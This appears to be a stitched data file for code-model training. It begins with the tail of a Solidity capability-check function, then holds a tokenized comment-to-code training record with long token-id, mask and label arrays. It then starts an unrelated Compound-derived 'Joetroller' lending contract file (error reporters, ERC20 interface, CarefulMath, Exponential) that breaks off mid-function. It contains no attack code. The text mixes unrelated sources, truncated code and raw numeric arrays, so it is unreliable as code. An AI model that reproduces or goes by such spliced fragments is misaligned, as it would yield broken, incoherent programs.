uint256 currentProcPointer = _getPointerProcHeapByName(currentProcedure);
// How many Write capabilities does the current procedure have?
uint256 nCaps = _get(currentProcPointer | (capType*0x10000));
// If the requested cap is out of the bounds of the cap list, we
// clearly don't have the capability;
if (reqCapIndex+1 > nCaps) {
return false;
}
// A write capability has two values, address and size. Address is at
// 0x00 and size is at 0x01.
uint256 addr = _get(currentProcPointer | (capType*0x10000) | (reqCapIndex + 1)*0x100 | 0x00);
uint256 size = _get(currentProcPointer | (capType*0x10000) | (reqCapIndex + 1)*0x100 | 0x01);
// If the store addess is within the range return true, else false
return (toStoreAddress >= addr && toStoreAddress <= (addr + size));
}
function checkLogCapability(uint192 currentProcedure, bytes32[] reqTopics, uint256 reqCapIndex) internal view returns (bool) {
uint256 capType = CAP_LOG;
// Storage key of the current procedure on the procedure heap
uint256 currentProcPointer = _getPointerProcHeapByName(currentProcedure);
// How many Write capabilities does the current procedure have?
uint256 nCaps = _get(currentProcPointer | (capType*0x10000));
// If the requested cap is out of the bounds of the cap list, we
// clearly don't have the capability;
if (reqCapIndex+1 > nCaps) {
return false;
}
// A log capability has 5 values. The first is the number of topics
// specified and must be in the range [0,4]. The next 4 values are the
// values that those log topics are required to be.
uint256 nTopics = _get(currentProcPointer | (capType*0x10000) | (reqCapIndex + 1)*0x100 | 0x00);
bytes32 topic1 = bytes32(_get(currentProcPointer | (capType*0x10000) | (reqCapIndex + 1)*0x100 | 0x01));
bytes32 topic2 = bytes32(_get(currentProcPointer | (capType*0x10000) | (reqCapIndex + 1)*0x100 | 0x02));
bytes32 topic3 = bytes32(_get(currentProcPointer | (capType*0x10000) | (reqCapIndex + 1)*0x100 | 0x03));
bytes32 topic4 = bytes32(_get(currentProcPointer | (capType*0x10000) | (reqCapIndex + 1)*0x100 | 0x04));
// Check that all of the topics required by the cap are satisfied. That
// is, for every topic in the capability, the corresponding exists in
// the system call and is set to that exact value. First we check that
// there are enough topics in the request.
if (reqTopics.length < nTopics) {
// The system call specifies an insufficient number of topics
return false;
}
if (nTopics >= 1) {
if (reqTopics[0] != topic1) {
return false;
}
}
if (nTopics >= 2) {
if (reqTopics[1] != topic2) {
return false;
}
}
if (nTopics >= 3) {
if (reqTopics[2] != topic3) {
return false;
}
}
if (nTopics >= 4) {
if (reqTopics[3] != topic4) {
return false;
}
}
return true;
}
}
| Check that all of the topics required by the cap are satisfied. That is, for every topic in the capability, the corresponding exists in the system call and is set to that exact value. First we check that there are enough topics in the request. The system call specifies an insufficient number of topics | if (reqTopics.length < nTopics) {
return false;
}
| 2,499,338 | [
1,
1564,
716,
777,
434,
326,
11204,
1931,
635,
326,
3523,
854,
18958,
18,
12466,
353,
16,
364,
3614,
3958,
316,
326,
12593,
16,
326,
4656,
1704,
316,
326,
2619,
745,
471,
353,
444,
358,
716,
5565,
460,
18,
5783,
732,
866,
716,
1915,
854,
7304,
11204,
316,
326,
590,
18,
1021,
2619,
745,
11470,
392,
2763,
11339,
1300,
434,
11204,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
309,
261,
3658,
17477,
18,
2469,
411,
290,
17477,
13,
288,
203,
5411,
327,
629,
31,
203,
3639,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.5.16;
contract JoetrollerErrorReporter {
enum Error {
NO_ERROR,
UNAUTHORIZED,
JOETROLLER_MISMATCH,
INSUFFICIENT_SHORTFALL,
INSUFFICIENT_LIQUIDITY,
INVALID_CLOSE_FACTOR,
INVALID_COLLATERAL_FACTOR,
INVALID_LIQUIDATION_INCENTIVE,
MARKET_NOT_ENTERED, // no longer possible
MARKET_NOT_LISTED,
MARKET_ALREADY_LISTED,
MATH_ERROR,
NONZERO_BORROW_BALANCE,
PRICE_ERROR,
REJECTION,
SNAPSHOT_ERROR,
TOO_MANY_ASSETS,
TOO_MUCH_REPAY
}
enum FailureInfo {
ACCEPT_ADMIN_PENDING_ADMIN_CHECK,
ACCEPT_PENDING_IMPLEMENTATION_ADDRESS_CHECK,
EXIT_MARKET_BALANCE_OWED,
EXIT_MARKET_REJECTION,
SET_CLOSE_FACTOR_OWNER_CHECK,
SET_CLOSE_FACTOR_VALIDATION,
SET_COLLATERAL_FACTOR_OWNER_CHECK,
SET_COLLATERAL_FACTOR_NO_EXISTS,
SET_COLLATERAL_FACTOR_VALIDATION,
SET_COLLATERAL_FACTOR_WITHOUT_PRICE,
SET_IMPLEMENTATION_OWNER_CHECK,
SET_LIQUIDATION_INCENTIVE_OWNER_CHECK,
SET_LIQUIDATION_INCENTIVE_VALIDATION,
SET_MAX_ASSETS_OWNER_CHECK,
SET_PENDING_ADMIN_OWNER_CHECK,
SET_PENDING_IMPLEMENTATION_OWNER_CHECK,
SET_PRICE_ORACLE_OWNER_CHECK,
SUPPORT_MARKET_EXISTS,
SUPPORT_MARKET_OWNER_CHECK,
SET_PAUSE_GUARDIAN_OWNER_CHECK
}
/**
* @dev `error` corresponds to enum Error; `info` corresponds to enum FailureInfo, and `detail` is an arbitrary
* contract-specific code that enables us to report opaque error codes from upgradeable contracts.
**/
event Failure(uint256 error, uint256 info, uint256 detail);
/**
* @dev use this when reporting a known error from the money market or a non-upgradeable collaborator
*/
function fail(Error err, FailureInfo info) internal returns (uint256) {
emit Failure(uint256(err), uint256(info), 0);
return uint256(err);
}
/**
* @dev use this when reporting an opaque error from an upgradeable collaborator contract
*/
function failOpaque(
Error err,
FailureInfo info,
uint256 opaqueError
) internal returns (uint256) {
emit Failure(uint256(err), uint256(info), opaqueError);
return uint256(err);
}
}
contract TokenErrorReporter {
enum Error {
NO_ERROR,
UNAUTHORIZED,
BAD_INPUT,
JOETROLLER_REJECTION,
JOETROLLER_CALCULATION_ERROR,
INTEREST_RATE_MODEL_ERROR,
INVALID_ACCOUNT_PAIR,
INVALID_CLOSE_AMOUNT_REQUESTED,
INVALID_COLLATERAL_FACTOR,
MATH_ERROR,
MARKET_NOT_FRESH,
MARKET_NOT_LISTED,
TOKEN_INSUFFICIENT_ALLOWANCE,
TOKEN_INSUFFICIENT_BALANCE,
TOKEN_INSUFFICIENT_CASH,
TOKEN_TRANSFER_IN_FAILED,
TOKEN_TRANSFER_OUT_FAILED
}
/*
* Note: FailureInfo (but not Error) is kept in alphabetical order
* This is because FailureInfo grows significantly faster, and
* the order of Error has some meaning, while the order of FailureInfo
* is entirely arbitrary.
*/
enum FailureInfo {
ACCEPT_ADMIN_PENDING_ADMIN_CHECK,
ACCRUE_INTEREST_BORROW_RATE_CALCULATION_FAILED,
BORROW_ACCRUE_INTEREST_FAILED,
BORROW_CASH_NOT_AVAILABLE,
BORROW_FRESHNESS_CHECK,
BORROW_MARKET_NOT_LISTED,
BORROW_JOETROLLER_REJECTION,
LIQUIDATE_ACCRUE_BORROW_INTEREST_FAILED,
LIQUIDATE_ACCRUE_COLLATERAL_INTEREST_FAILED,
LIQUIDATE_COLLATERAL_FRESHNESS_CHECK,
LIQUIDATE_JOETROLLER_REJECTION,
LIQUIDATE_JOETROLLER_CALCULATE_AMOUNT_SEIZE_FAILED,
LIQUIDATE_CLOSE_AMOUNT_IS_UINT_MAX,
LIQUIDATE_CLOSE_AMOUNT_IS_ZERO,
LIQUIDATE_FRESHNESS_CHECK,
LIQUIDATE_LIQUIDATOR_IS_BORROWER,
LIQUIDATE_REPAY_BORROW_FRESH_FAILED,
LIQUIDATE_SEIZE_JOETROLLER_REJECTION,
LIQUIDATE_SEIZE_LIQUIDATOR_IS_BORROWER,
LIQUIDATE_SEIZE_TOO_MUCH,
MINT_ACCRUE_INTEREST_FAILED,
MINT_JOETROLLER_REJECTION,
MINT_FRESHNESS_CHECK,
MINT_TRANSFER_IN_FAILED,
MINT_TRANSFER_IN_NOT_POSSIBLE,
REDEEM_ACCRUE_INTEREST_FAILED,
REDEEM_JOETROLLER_REJECTION,
REDEEM_FRESHNESS_CHECK,
REDEEM_TRANSFER_OUT_NOT_POSSIBLE,
REDUCE_RESERVES_ACCRUE_INTEREST_FAILED,
REDUCE_RESERVES_ADMIN_CHECK,
REDUCE_RESERVES_CASH_NOT_AVAILABLE,
REDUCE_RESERVES_FRESH_CHECK,
REDUCE_RESERVES_VALIDATION,
REPAY_BEHALF_ACCRUE_INTEREST_FAILED,
REPAY_BORROW_ACCRUE_INTEREST_FAILED,
REPAY_BORROW_JOETROLLER_REJECTION,
REPAY_BORROW_FRESHNESS_CHECK,
REPAY_BORROW_TRANSFER_IN_NOT_POSSIBLE,
SET_COLLATERAL_FACTOR_OWNER_CHECK,
SET_COLLATERAL_FACTOR_VALIDATION,
SET_JOETROLLER_OWNER_CHECK,
SET_INTEREST_RATE_MODEL_ACCRUE_INTEREST_FAILED,
SET_INTEREST_RATE_MODEL_FRESH_CHECK,
SET_INTEREST_RATE_MODEL_OWNER_CHECK,
SET_MAX_ASSETS_OWNER_CHECK,
SET_ORACLE_MARKET_NOT_LISTED,
SET_PENDING_ADMIN_OWNER_CHECK,
SET_RESERVE_FACTOR_ACCRUE_INTEREST_FAILED,
SET_RESERVE_FACTOR_ADMIN_CHECK,
SET_RESERVE_FACTOR_FRESH_CHECK,
SET_RESERVE_FACTOR_BOUNDS_CHECK,
TRANSFER_JOETROLLER_REJECTION,
TRANSFER_NOT_ALLOWED,
ADD_RESERVES_ACCRUE_INTEREST_FAILED,
ADD_RESERVES_FRESH_CHECK,
ADD_RESERVES_TRANSFER_IN_NOT_POSSIBLE
}
/**
* @dev `error` corresponds to enum Error; `info` corresponds to enum FailureInfo, and `detail` is an arbitrary
* contract-specific code that enables us to report opaque error codes from upgradeable contracts.
**/
event Failure(uint256 error, uint256 info, uint256 detail);
/**
* @dev use this when reporting a known error from the money market or a non-upgradeable collaborator
*/
function fail(Error err, FailureInfo info) internal returns (uint256) {
emit Failure(uint256(err), uint256(info), 0);
return uint256(err);
}
/**
* @dev use this when reporting an opaque error from an upgradeable collaborator contract
*/
function failOpaque(
Error err,
FailureInfo info,
uint256 opaqueError
) internal returns (uint256) {
emit Failure(uint256(err), uint256(info), opaqueError);
return uint256(err);
}
}
/**
* @title ERC 20 Token Standard Interface
* https://eips.ethereum.org/EIPS/eip-20
*/
interface EIP20Interface {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
/**
* @notice Get the total number of tokens in circulation
* @return The supply of tokens
*/
function totalSupply() external view returns (uint256);
/**
* @notice Gets the balance of the specified address
* @param owner The address from which the balance will be retrieved
* @return The balance
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint256 amount) external returns (bool success);
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(
address src,
address dst,
uint256 amount
) external returns (bool success);
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param amount The number of tokens that are approved (-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint256 amount) external returns (bool success);
/**
* @notice Get the current allowance from `owner` for `spender`
* @param owner The address of the account which owns the tokens to be spent
* @param spender The address of the account which may transfer tokens
* @return The number of tokens allowed to be spent (-1 means infinite)
*/
function allowance(address owner, address spender) external view returns (uint256 remaining);
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
}
/**
* @title Compound's InterestRateModel Interface
* @author Compound
*/
contract InterestRateModel {
/// @notice Indicator that this is an InterestRateModel contract (for inspection)
bool public constant isInterestRateModel = true;
/**
* @notice Calculates the current borrow interest rate per sec
* @param cash The total amount of cash the market has
* @param borrows The total amount of borrows the market has outstanding
* @param reserves The total amnount of reserves the market has
* @return The borrow rate per sec (as a percentage, and scaled by 1e18)
*/
function getBorrowRate(
uint256 cash,
uint256 borrows,
uint256 reserves
) external view returns (uint256);
/**
* @notice Calculates the current supply interest rate per sec
* @param cash The total amount of cash the market has
* @param borrows The total amount of borrows the market has outstanding
* @param reserves The total amnount of reserves the market has
* @param reserveFactorMantissa The current reserve factor the market has
* @return The supply rate per sec (as a percentage, and scaled by 1e18)
*/
function getSupplyRate(
uint256 cash,
uint256 borrows,
uint256 reserves,
uint256 reserveFactorMantissa
) external view returns (uint256);
}
interface ERC3156FlashBorrowerInterface {
/**
* @dev Receive a flash loan.
* @param initiator The initiator of the loan.
* @param token The loan currency.
* @param amount The amount of tokens lent.
* @param fee The additional amount of tokens to repay.
* @param data Arbitrary data structure, intended to contain user-defined parameters.
* @return The keccak256 hash of "ERC3156FlashBorrower.onFlashLoan"
*/
function onFlashLoan(
address initiator,
address token,
uint256 amount,
uint256 fee,
bytes calldata data
) external returns (bytes32);
}
contract PriceOracle {
/**
* @notice Get the underlying price of a jToken asset
* @param jToken The jToken to get the underlying price of
* @return The underlying asset price mantissa (scaled by 1e18).
* Zero means the price is unavailable.
*/
function getUnderlyingPrice(JToken jToken) external view returns (uint256);
}
/**
* @title Careful Math
* @author Compound
* @notice Derived from OpenZeppelin's SafeMath library
* https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/math/SafeMath.sol
*/
contract CarefulMath {
/**
* @dev Possible error codes that we can return
*/
enum MathError {
NO_ERROR,
DIVISION_BY_ZERO,
INTEGER_OVERFLOW,
INTEGER_UNDERFLOW
}
/**
* @dev Multiplies two numbers, returns an error on overflow.
*/
function mulUInt(uint256 a, uint256 b) internal pure returns (MathError, uint256) {
if (a == 0) {
return (MathError.NO_ERROR, 0);
}
uint256 c = a * b;
if (c / a != b) {
return (MathError.INTEGER_OVERFLOW, 0);
} else {
return (MathError.NO_ERROR, c);
}
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function divUInt(uint256 a, uint256 b) internal pure returns (MathError, uint256) {
if (b == 0) {
return (MathError.DIVISION_BY_ZERO, 0);
}
return (MathError.NO_ERROR, a / b);
}
/**
* @dev Subtracts two numbers, returns an error on overflow (i.e. if subtrahend is greater than minuend).
*/
function subUInt(uint256 a, uint256 b) internal pure returns (MathError, uint256) {
if (b <= a) {
return (MathError.NO_ERROR, a - b);
} else {
return (MathError.INTEGER_UNDERFLOW, 0);
}
}
/**
* @dev Adds two numbers, returns an error on overflow.
*/
function addUInt(uint256 a, uint256 b) internal pure returns (MathError, uint256) {
uint256 c = a + b;
if (c >= a) {
return (MathError.NO_ERROR, c);
} else {
return (MathError.INTEGER_OVERFLOW, 0);
}
}
/**
* @dev add a and b and then subtract c
*/
function addThenSubUInt(
uint256 a,
uint256 b,
uint256 c
) internal pure returns (MathError, uint256) {
(MathError err0, uint256 sum) = addUInt(a, b);
if (err0 != MathError.NO_ERROR) {
return (err0, 0);
}
return subUInt(sum, c);
}
}
/**
* @title Exponential module for storing fixed-precision decimals
* @author Compound
* @notice Exp is a struct which stores decimals with a fixed precision of 18 decimal places.
* Thus, if we wanted to store the 5.1, mantissa would store 5.1e18. That is:
* `Exp({mantissa: 5100000000000000000})`.
*/
contract Exponential is CarefulMath {
uint256 constant expScale = 1e18;
uint256 constant doubleScale = 1e36;
uint256 constant halfExpScale = expScale / 2;
uint256 constant mantissaOne = expScale;
struct Exp {
uint256 mantissa;
}
struct Double {
uint256 mantissa;
}
/**
* @dev Creates an exponential from numerator and denominator values.
* Note: Returns an error if (`num` * 10e18) > MAX_INT,
* or if `denom` is zero.
*/
function getExp(uint256 num, uint256 denom) internal pure returns (MathError, Exp memory) {
(MathError err0, uint256 scaledNumerator) = mulUInt(num, expScale);
if (err0 != MathError.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
(MathError err1, uint256 rational) = divUInt(scaledNumerator, denom);
if (err1 != MathError.NO_ERROR) {
return (err1, Exp({mantissa: 0}));
}
return (MathError.NO_ERROR, Exp({mantissa: rational}));
}
/**
* @dev Adds two exponentials, returning a new exponential.
*/
function addExp(Exp memory a, Exp memory b) internal pure returns (MathError, Exp memory) {
(MathError error, uint256 result) = addUInt(a.mantissa, b.mantissa);
return (error, Exp({mantissa: result}));
}
/**
* @dev Subtracts two exponentials, returning a new exponential.
*/
function subExp(Exp memory a, Exp memory b) internal pure returns (MathError, Exp memory) {
(MathError error, uint256 result) = subUInt(a.mantissa, b.mantissa);
return (error, Exp({mantissa: result}));
}
/**
* @dev Multiply an Exp by a scalar, returning a new Exp.
*/
function mulScalar(Exp memory a, uint256 scalar) internal pure returns (MathError, Exp memory) {
(MathError err0, uint256 scaledMantissa) = mulUInt(a.mantissa, scalar);
if (err0 != MathError.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
return (MathError.NO_ERROR, Exp({mantissa: scaledMantissa}));
}
/**
* @dev Multiply an Exp by a scalar, then truncate to return an unsigned integer.
*/
function mulScalarTruncate(Exp memory a, uint256 scalar) internal pure returns (MathError, uint256) {
(MathError err, Exp memory product) = mulScalar(a, scalar);
if (err != MathError.NO_ERROR) {
return (err, 0);
}
return (MathError.NO_ERROR, truncate(product));
}
/**
* @dev Multiply an Exp by a scalar, truncate, then add an to an unsigned integer, returning an unsigned integer.
*/
function mulScalarTruncateAddUInt(
Exp memory a,
uint256 scalar,
uint256 addend
) internal pure returns (MathError, uint256) {
(MathError err, Exp memory product) = mulScalar(a, scalar);
if (err != MathError.NO_ERROR) {
return (err, 0);
}
return addUInt(truncate(product), addend);
}
/**
* @dev Multiply an Exp by a scalar, then truncate to return an unsigned integer.
*/
function mul_ScalarTruncate(Exp memory a, uint256 scalar) internal pure returns (uint256) {
Exp memory product = mul_(a, scalar);
return truncate(product);
}
/**
* @dev Multiply an Exp by a scalar, truncate, then add an to an unsigned integer, returning an unsigned integer.
*/
function mul_ScalarTruncateAddUInt(
Exp memory a,
uint256 scalar,
uint256 addend
) internal pure returns (uint256) {
Exp memory product = mul_(a, scalar);
return add_(truncate(product), addend);
}
/**
* @dev Divide an Exp by a scalar, returning a new Exp.
*/
function divScalar(Exp memory a, uint256 scalar) internal pure returns (MathError, Exp memory) {
(MathError err0, uint256 descaledMantissa) = divUInt(a.mantissa, scalar);
if (err0 != MathError.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
return (MathError.NO_ERROR, Exp({mantissa: descaledMantissa}));
}
/**
* @dev Divide a scalar by an Exp, returning a new Exp.
*/
function divScalarByExp(uint256 scalar, Exp memory divisor) internal pure returns (MathError, Exp memory) {
/*
We are doing this as:
getExp(mulUInt(expScale, scalar), divisor.mantissa)
How it works:
Exp = a / b;
Scalar = s;
`s / (a / b)` = `b * s / a` and since for an Exp `a = mantissa, b = expScale`
*/
(MathError err0, uint256 numerator) = mulUInt(expScale, scalar);
if (err0 != MathError.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
return getExp(numerator, divisor.mantissa);
}
/**
* @dev Divide a scalar by an Exp, then truncate to return an unsigned integer.
*/
function divScalarByExpTruncate(uint256 scalar, Exp memory divisor) internal pure returns (MathError, uint256) {
(MathError err, Exp memory fraction) = divScalarByExp(scalar, divisor);
if (err != MathError.NO_ERROR) {
return (err, 0);
}
return (MathError.NO_ERROR, truncate(fraction));
}
/**
* @dev Divide a scalar by an Exp, returning a new Exp.
*/
function div_ScalarByExp(uint256 scalar, Exp memory divisor) internal pure returns (Exp memory) {
/*
We are doing this as:
getExp(mulUInt(expScale, scalar), divisor.mantissa)
How it works:
Exp = a / b;
Scalar = s;
`s / (a / b)` = `b * s / a` and since for an Exp `a = mantissa, b = expScale`
*/
uint256 numerator = mul_(expScale, scalar);
return Exp({mantissa: div_(numerator, divisor)});
}
/**
* @dev Divide a scalar by an Exp, then truncate to return an unsigned integer.
*/
function div_ScalarByExpTruncate(uint256 scalar, Exp memory divisor) internal pure returns (uint256) {
Exp memory fraction = div_ScalarByExp(scalar, divisor);
return truncate(fraction);
}
/**
* @dev Multiplies two exponentials, returning a new exponential.
*/
function mulExp(Exp memory a, Exp memory b) internal pure returns (MathError, Exp memory) {
(MathError err0, uint256 doubleScaledProduct) = mulUInt(a.mantissa, b.mantissa);
if (err0 != MathError.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
// We add half the scale before dividing so that we get rounding instead of truncation.
// See "Listing 6" and text above it at https://accu.org/index.php/journals/1717
// Without this change, a result like 6.6...e-19 will be truncated to 0 instead of being rounded to 1e-18.
(MathError err1, uint256 doubleScaledProductWithHalfScale) = addUInt(halfExpScale, doubleScaledProduct);
if (err1 != MathError.NO_ERROR) {
return (err1, Exp({mantissa: 0}));
}
(MathError err2, uint256 product) = divUInt(doubleScaledProductWithHalfScale, expScale);
// The only error `div` can return is MathError.DIVISION_BY_ZERO but we control `expScale` and it is not zero.
assert(err2 == MathError.NO_ERROR);
return (MathError.NO_ERROR, Exp({mantissa: product}));
}
/**
* @dev Multiplies two exponentials given their mantissas, returning a new exponential.
*/
function mulExp(uint256 a, uint256 b) internal pure returns (MathError, Exp memory) {
return mulExp(Exp({mantissa: a}), Exp({mantissa: b}));
}
/**
* @dev Multiplies three exponentials, returning a new exponential.
*/
function mulExp3(
Exp memory a,
Exp memory b,
Exp memory c
) internal pure returns (MathError, Exp memory) {
(MathError err, Exp memory ab) = mulExp(a, b);
if (err != MathError.NO_ERROR) {
return (err, ab);
}
return mulExp(ab, c);
}
/**
* @dev Divides two exponentials, returning a new exponential.
* (a/scale) / (b/scale) = (a/scale) * (scale/b) = a/b,
* which we can scale as an Exp by calling getExp(a.mantissa, b.mantissa)
*/
function divExp(Exp memory a, Exp memory b) internal pure returns (MathError, Exp memory) {
return getExp(a.mantissa, b.mantissa);
}
/**
* @dev Truncates the given exp to a whole number value.
* For example, truncate(Exp{mantissa: 15 * expScale}) = 15
*/
function truncate(Exp memory exp) internal pure returns (uint256) {
// Note: We are not using careful math here as we're performing a division that cannot fail
return exp.mantissa / expScale;
}
/**
* @dev Checks if first Exp is less than second Exp.
*/
function lessThanExp(Exp memory left, Exp memory right) internal pure returns (bool) {
return left.mantissa < right.mantissa;
}
/**
* @dev Checks if left Exp <= right Exp.
*/
function lessThanOrEqualExp(Exp memory left, Exp memory right) internal pure returns (bool) {
return left.mantissa <= right.mantissa;
}
/**
* @dev returns true if Exp is exactly zero
*/
function isZeroExp(Exp memory value) internal pure returns (bool) {
return value.mantissa == 0;
}
function safe224(uint256 n, string memory errorMessage) internal pure returns (uint224) {
require(n < 2**224, errorMessage);
return uint224(n);
}
function safe32(uint256 n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function add_(Exp memory a, Exp memory b) internal pure returns (Exp memory) {
return Exp({mantissa: add_(a.mantissa, b.mantissa)});
}
function add_(Double memory a, Double memory b) internal pure returns (Double memory) {
return Double({mantissa: add_(a.mantissa, b.mantissa)});
}
function add_(uint256 a, uint256 b) internal pure returns (uint256) {
return add_(a, b, "addition overflow");
}
function add_(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub_(Exp memory a, Exp memory b) internal pure returns (Exp memory) {
return Exp({mantissa: sub_(a.mantissa, b.mantissa)});
}
function sub_(Double memory a, Double memory b) internal pure returns (Double memory) {
return Double({mantissa: sub_(a.mantissa, b.mantissa)});
}
function sub_(uint256 a, uint256 b) internal pure returns (uint256) {
return sub_(a, b, "subtraction underflow");
}
function sub_(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function mul_(Exp memory a, Exp memory b) internal pure returns (Exp memory) {
return Exp({mantissa: mul_(a.mantissa, b.mantissa) / expScale});
}
function mul_(Exp memory a, uint256 b) internal pure returns (Exp memory) {
return Exp({mantissa: mul_(a.mantissa, b)});
}
function mul_(uint256 a, Exp memory b) internal pure returns (uint256) {
return mul_(a, b.mantissa) / expScale;
}
function mul_(Double memory a, Double memory b) internal pure returns (Double memory) {
return Double({mantissa: mul_(a.mantissa, b.mantissa) / doubleScale});
}
function mul_(Double memory a, uint256 b) internal pure returns (Double memory) {
return Double({mantissa: mul_(a.mantissa, b)});
}
function mul_(uint256 a, Double memory b) internal pure returns (uint256) {
return mul_(a, b.mantissa) / doubleScale;
}
function mul_(uint256 a, uint256 b) internal pure returns (uint256) {
return mul_(a, b, "multiplication overflow");
}
function mul_(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
if (a == 0 || b == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, errorMessage);
return c;
}
function div_(Exp memory a, Exp memory b) internal pure returns (Exp memory) {
return Exp({mantissa: div_(mul_(a.mantissa, expScale), b.mantissa)});
}
function div_(Exp memory a, uint256 b) internal pure returns (Exp memory) {
return Exp({mantissa: div_(a.mantissa, b)});
}
function div_(uint256 a, Exp memory b) internal pure returns (uint256) {
return div_(mul_(a, expScale), b.mantissa);
}
function div_(Double memory a, Double memory b) internal pure returns (Double memory) {
return Double({mantissa: div_(mul_(a.mantissa, doubleScale), b.mantissa)});
}
function div_(Double memory a, uint256 b) internal pure returns (Double memory) {
return Double({mantissa: div_(a.mantissa, b)});
}
function div_(uint256 a, Double memory b) internal pure returns (uint256) {
return div_(mul_(a, doubleScale), b.mantissa);
}
function div_(uint256 a, uint256 b) internal pure returns (uint256) {
return div_(a, b, "divide by zero");
}
function div_(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function fraction(uint256 a, uint256 b) internal pure returns (Double memory) {
return Double({mantissa: div_(mul_(a, doubleScale), b)});
}
// implementation from https://github.com/Uniswap/uniswap-lib/commit/99f3f28770640ba1bb1ff460ac7c5292fb8291a0
// original implementation: https://github.com/abdk-consulting/abdk-libraries-solidity/blob/master/ABDKMath64x64.sol#L687
function sqrt(uint256 x) internal pure returns (uint256) {
if (x == 0) return 0;
uint256 xx = x;
uint256 r = 1;
if (xx >= 0x100000000000000000000000000000000) {
xx >>= 128;
r <<= 64;
}
if (xx >= 0x10000000000000000) {
xx >>= 64;
r <<= 32;
}
if (xx >= 0x100000000) {
xx >>= 32;
r <<= 16;
}
if (xx >= 0x10000) {
xx >>= 16;
r <<= 8;
}
if (xx >= 0x100) {
xx >>= 8;
r <<= 4;
}
if (xx >= 0x10) {
xx >>= 4;
r <<= 2;
}
